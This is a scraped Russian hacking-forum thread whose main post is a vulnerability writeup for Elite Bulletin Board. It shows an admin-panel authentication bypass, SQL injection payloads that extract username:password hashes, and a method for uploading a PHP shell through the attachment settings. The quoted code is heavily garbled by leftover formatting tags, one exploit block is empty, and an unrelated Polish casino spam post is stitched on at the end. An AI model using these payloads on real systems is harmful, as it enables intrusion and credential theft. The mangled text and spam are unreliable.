Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Разное - Покупка, продажа, обмен (https://forum.antichat.xyz/forumdisplay.php?f=52)
-   -   Legalny salon gier z Totalizatorem – Do 550 darmowych spinów i bonus aż do 13 750 zł (https://forum.antichat.xyz/showthread.php?t=212271)

m0Hze 18.06.2010 02:11

[Обзор уязвимостей Elite Bulletin Board]

Site: http://elite-board.us/Community/

Обход авторизации в Админ Панель + Blind SQL-Inj

[Need: mq=off]

Уязвимость позволяет зайти в админ панель,и произвольно изменять настройки форума.

File: /acp/*.php

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if (([/COLOR][COLOR="#0000BB"]$access_level[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]) or ([/COLOR][COLOR="#0000BB"]$stat[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#DD0000"]"Member"[/COLOR][COLOR="#007700"]) or ([/COLOR][COLOR="#0000BB"]$stat[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#DD0000"]"guest"[/COLOR][COLOR="#007700"]) or ([/COLOR][COLOR="#0000BB"]$access_level[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#0000BB"]3[/COLOR][COLOR="#007700"])){



[/COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"Location:[/COLOR][COLOR="#0000BB"]$board_address[/COLOR][COLOR="#DD0000"]/index.php"[/COLOR][COLOR="#007700"]);

}

...

if (isset([/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'ebbacpu'[/COLOR][COLOR="#007700"]]) and (isset([/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'ebbacpp'[/COLOR][COLOR="#007700"]]))){



[/COLOR][COLOR="#FF8000"]#see if cookie value belongs to a user on the roster.

[/COLOR][COLOR="#0000BB"]$chk_user[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]user_check[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'ebbacpu'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'ebbacpp'[/COLOR][COLOR="#007700"]]);

[/
COLOR][COLOR="#0000BB"]$admin_check[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]admin_verify[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'ebbacpu'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'ebbacpp'[/COLOR][COLOR="#007700"]]);

if(([/COLOR][COLOR="#0000BB"]$chk_user[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]) or ([/COLOR][COLOR="#0000BB"]$admin_check[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"])){

[/
COLOR][COLOR="#0000BB"]$error[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"INVALID COOKIE OR SESSION!"[/COLOR][COLOR="#007700"];

echo[/COLOR][COLOR="#0000BB"]acp_error[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$error[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"error"[/COLOR][COLOR="#007700"]);

}

}else{

[/
COLOR][COLOR="#FF8000"]#go to login page.

[/COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"Location: acp_login.php"[/COLOR][COLOR="#007700"]);

}

[/
COLOR][/COLOR

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]function[/COLOR][COLOR="#0000BB"]user_check[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$user[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$pass[/COLOR][COLOR="#007700"]){

global[/COLOR][COLOR="#0000BB"]$db[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$txt[/COLOR][COLOR="#007700"];

if ((empty([/COLOR][COLOR="#0000BB"]$user[/COLOR][COLOR="#007700"])) and (empty([/COLOR][COLOR="#0000BB"]$pass[/COLOR][COLOR="#007700"]))){

die([/COLOR][COLOR="#0000BB"]$txt[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'invalidprofile'[/COLOR][COLOR="#007700"]]);

}else{

[/
COLOR][COLOR="#0000BB"]$db[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]run[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"SELECT id FROM ebb_users WHERE Username='[/COLOR][COLOR="#0000BB"]$user[/COLOR][COLOR="#DD0000"]' and Password='[/COLOR][COLOR="#0000BB"]$pass[/COLOR][COLOR="#DD0000"]'"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$chk_user[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$db[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]num_results[/COLOR][COLOR="#007700"]();

[/
COLOR][COLOR="#0000BB"]$db[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]close[/COLOR][COLOR="#007700"]();

}

return ([/COLOR][COLOR="#0000BB"]$chk_user[/COLOR][COLOR="#007700"]);

}

[/
COLOR][/COLOR

Автор форума, забыл поставить Die(); после перенаправлений, что дает нам шанс выполнить SQL-inj и что-нибудь вытащить или обойти авторизацию и войти в админ-панель, и изменять там что хотим. Я приведу пример с выводом информации, через эту sql-inj, крутить будем как слепую. Простейший сплойт выглядит так:

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

[/
COLOR][/COLOR

Чуть выше сообщения об ошибке увидим:

Код:

Code:
Failed to query the database
Duplicate entry 'admin:16303208725e5fcc2ae273ba3e7679ef1' for key 'group_key'

Line: 29
File: D:\xampp\htdocs\bugs\ebbv2\includes\db.php

Тут все осложняется тем, что чтобы сбрутить пароль админу, нужно знать соль, которая вшита в config.php в виде константы, которая принимает рандомное значение во время установки форума.

Но брутить соль не обязательно, в админку можно зайти с помощью той же скули. Просто сменим тактику.

(!) Можно и без скули, читаем ниже.

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"]$exploit[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]' or 1=1--+'[/COLOR][COLOR="#007700"];

[/
COLOR][/COLOR

[UPADATE]

Совсем забыл откомментировать, что в админку так же можно попасть, просто не передавай кукисы. Придется обойти хидеры, принудительно их отключив в браузере или же скриптом. И после захода на страницы админки, мы будем видеть то же, что бы мы увидели при заходе админским акком.

[/UPADATE]

И уже строя разнообразные post-запросы, мы сможем получать-изменять данные из админки, как если бы мы просто зашли в нее по логин-паролю.

Загрузка Шелла

В амдинке идем в Setting Menu-> Attachment Setting

Вбиваем расширение "php", надимаем Add extinsion.

Создаем пост, и прикрепляем к нему наш файл. Файл будет в upload/shellname.php никаких htaccess'ов там нет.

SQL-INJ

[Need: account,mq=off]

File: /upload.php

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"]$file_name[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_FILES[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'attachment'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'name'[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]$file_type[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_FILES[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'attachment'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'type'[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]$file_size[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_FILES[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'attachment'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'size'[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]$file_temp[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_FILES[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'attachment'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'tmp_name'[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]$file_ext[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]strtolower[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]strrchr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$file_name[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"."[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]));

...

if([/
COLOR][COLOR="#0000BB"]move_uploaded_file[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$file_temp[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$uploadpath[/COLOR][COLOR="#007700"])) {

[/
COLOR][COLOR="#FF8000"]#add attachment to db for listing purpose.

[/COLOR][COLOR="#0000BB"]$db[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]run[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"insert into ebb_attachments (Username, Filename, File_Type, File_Size) values ('[/COLOR][COLOR="#0000BB"]$logged_user[/COLOR][COLOR="#DD0000"]', '[/COLOR][COLOR="#0000BB"]$file_name[/COLOR][COLOR="#DD0000"]', '[/COLOR][COLOR="#0000BB"]$file_type[/COLOR][COLOR="#DD0000"]', '[/COLOR][COLOR="#0000BB"]$file_size[/COLOR][COLOR="#DD0000"]')"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$db[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]query[/COLOR][COLOR="#007700"]();

[/
COLOR][COLOR="#0000BB"]$db[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]close[/COLOR][COLOR="#007700"]();

[/
COLOR][COLOR="#FF8000"]#go back to orginsl location.

[/COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"Location: upload.php?bid=[/COLOR][COLOR="#0000BB"]$bid[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]);

[/COLOR][/COLOR

Target: Крутим как слепую

Код:

Code:
Target: http://host/upload.php?mode=upload
Content-Disposition: form-data; name="file"; filename=""\r\n
Content-Type: application/octet-stream'or+(select+*+from+(select+count(*)+from+(select+1+union+select+2+union+select+3)r+group+by+concat((select+concat_ws(0x3a,username,password)+from+ebb_users+where+id=1),floor(rand(0)*2)))u)--+\r\n


MahewSpila 24.04.2026 03:44

Legalny salon gier z Totalizatorem – Do 550 darmowych spinów i bonus aż do 13 750 zł
 
Sprawdź salon gier na automatach prowadzoną przez Totalizator — do 10 000 zł + darmowe spiny! Pełna legalność z nadzorem regulacyjnym — zainstaluj teraz i skorzystaj z promocji! Oficjalna aplikacja Totalizatora oferuje paczę startową z dopłatą i spinami — zgodnie z prawem. Legalna rozrywka — Salon Gier na Automatach zapewnia szyfrowanie SSL i program lojalnościowy. Marzysz o darmowych spinach? Oficjalna aplikacja z licencją daje Ci powitalny pakiet — pobierz teraz! Wybierz legalny salon — Aplikacja z licencją oferuje bonus aż do 10 000 zł i transparentne warunki. Zacznij grę bezpiecznie — zainstaluj teraz i skorzystaj z oferty startowej!


Время: 03:32